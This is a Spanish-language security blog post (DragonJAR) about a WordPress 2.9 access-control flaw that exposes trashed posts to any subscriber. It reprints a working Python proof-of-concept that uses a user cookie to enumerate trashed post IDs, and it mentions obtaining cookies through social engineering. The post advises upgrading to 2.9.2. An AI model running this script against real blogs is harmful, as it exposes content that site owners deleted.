Pueden leer tu “Basura”

DragonJAR 336x280 Pueden leer tu Basura

Un nuevo fallo en el famoso WordPress, descubierto por el investigador Thomas Mackenzie permitiría a “cualquier” persona los artículos, comentarios y paginas, que hayas borrado y se encuentren en la “papelera”.

wordpresstrash300x300 Pueden leer tu Basura

Desde la versión 2.9 de WordPress se implementó una nueva característica  llamada “papelera“, con la cual todos los artículos, comentarios o páginas “borradas” pasarían a la “papelera de reciclaje” para prevenir así que sean eliminados de forma accidental.

Lo que descubrió Thomas Mackenzie es que en WordPress decidieron no ponerle restricción de acceso a los contenidos de la “papelera”, por lo que cualquier persona con privilegio 0 (Suscriptor) podría ver todo lo que estuviera almacenado en ella, el único inconveniente (y posiblemente la razón por la que dejaron este nivel de acceso), es que necesitamos conocer la ruta de los contenidos eliminados para poder acceder a ellos… cosa que Mackenzie pudo solucionar desarrollando este script en Python, con el que enumera los contenidos que tenemos en nuestra “papelera”.

#/usr/bin/python
#
# WordPress > 2.9 Failure to Restrict URL Access PoC
#
# This script iterates through the WP post ID’s as an authenticated and unauthenticated user.
# If the requests differ a ‘Trash’ post has been found.
#
# You will need an authenticated user cookie of any priveledge to run this script.
#
# Example cookie:
# wordpress_logged_in_62b3ab14f277d92d3d313662ea0c84e3=test%7C1266245173%7C990157a59700a69edbf133aa22fca1f8
#
# Will only work with WP URLs with the ‘/?p={int}’ parameter. Would need to handle redirects (3xx) to handle all URL types.
#
#
# Research/PoC/Advisory By: Tom Mackenzie (tmacuk) and Ryan Dewhurst (ethicalhack3r)

import httplib

# Declare vars
blogURL = “www.example.com”
userCookie = “enter_cookie_here”
postID = 0 #Leave at 0

conn = httplib.HTTPConnection(blogURL)
Headers = {“Cookie” : userCookie}

print
print “Target = http://” + blogURL + “/?p=” + str(postID)
print

while 1:

# Start non authenticated enumeration

request = ‘/?p=’ + str(postID)
conn.request(“GET”, request, “”)

try:
r1 = conn.getresponse()
except:
print “Connection error”

data1 = r1.read()

# Start authenticated enumeration

conn.request(“GET”, request, None, Headers)

try:
r2 = conn.getresponse()
except:
print “Connection error”

data2 = r2.read()

# Compare the HTML body reponses

if data1 != data2:
print “+ Found! http://” + blogURL + request
else:
print request

postID += 1

conn.close()

Como pueden ver, en esta prueba de concepto, es necesario contar con una cookie de un usuario logueado en el sistema, cosa que no es difícil si el blog tiene el registro de usuarios activo (practica poco recomendada) o se puede conseguir mediante ingeniería social, por lo tanto es mas que recomendable que actualicen su instalación de WordPress a la versión 2.9.2 que ya cuenta con un parche para este problema de seguridad.

Una vez más queda confirmado que la seguridad por “oscuridad”  no es una buena práctica y siempre debe estar acompañada con otras medias que garanticen la confidencialidad, integridad y disponibilidad de nuestra información.

PD. Lo que no entiendo es por que páginas como DaboWeb y Mangas Verdes hablan de este fallo y afirman que un posible atacante puede “Eliminar artículos de nuestro WordPress” ¿De donde habrán sacado esa informacion?…


Si te ha gustado el post, compartelo y ayudanos a crecer.

Unete a nuestra Fanpage Siguenos en Twitter

Autor: DragoN

Ingeniero en Sistemas y Telecomunicaciones de la Universidad de Manizales. Information Security Researcher con más de 10 años de experiencias en Ethical Hacking, Pen Testing y Análisis Forense. Docente Universitario en Pre y Post-Grado, Speaker y Organizador de diferentes eventos de Seguridad Informática, Fundador del DragonJAR Security Conference y Fundador de DragonJAR SAS y de La Comunidad DragonJAR, una de las comunidades de seguridad informática mas grandes de habla hispana y referente en el sector.

Compartir este Artículo
  • Camilo

    Muy interesante articulo, actualizando ya mi WordPress, lo que comentas de mangas verdes y daboweb posiblemente realizaron una mala traduccion del articulo o se copiaron de la misma fuente

  • anaXmon

    “Una vez más queda confirmado que la seguridad por “oscuridad” no es una buena práctica y siempre debe estar acompañada con otras medidas que garanticen la confidencialidad, integridad y disponibilidad de nuestra información.”
    Excelente.
    Que bueno que asi pensaran algunos dinosaurios que manejan la seguridad de la info en algunas empresas…

  • Pingback: uberVU - social comments()

  • lost-perdidos

    WordPress está cargado de fallos. Cuidado por DragonJAR!

  • rootvzla

    GUINDANA no te preocupes tanto es cuestion de saber parchear el wordpress ^^ a tiempo y asi evitar mas fallos de seguridad tambien estar atentos alos fallos de seguridad que emita wordpress en su site o de los investigadores que las emitan .

  • Pingback: Boletín de La Comunidad DragonJAR #0008()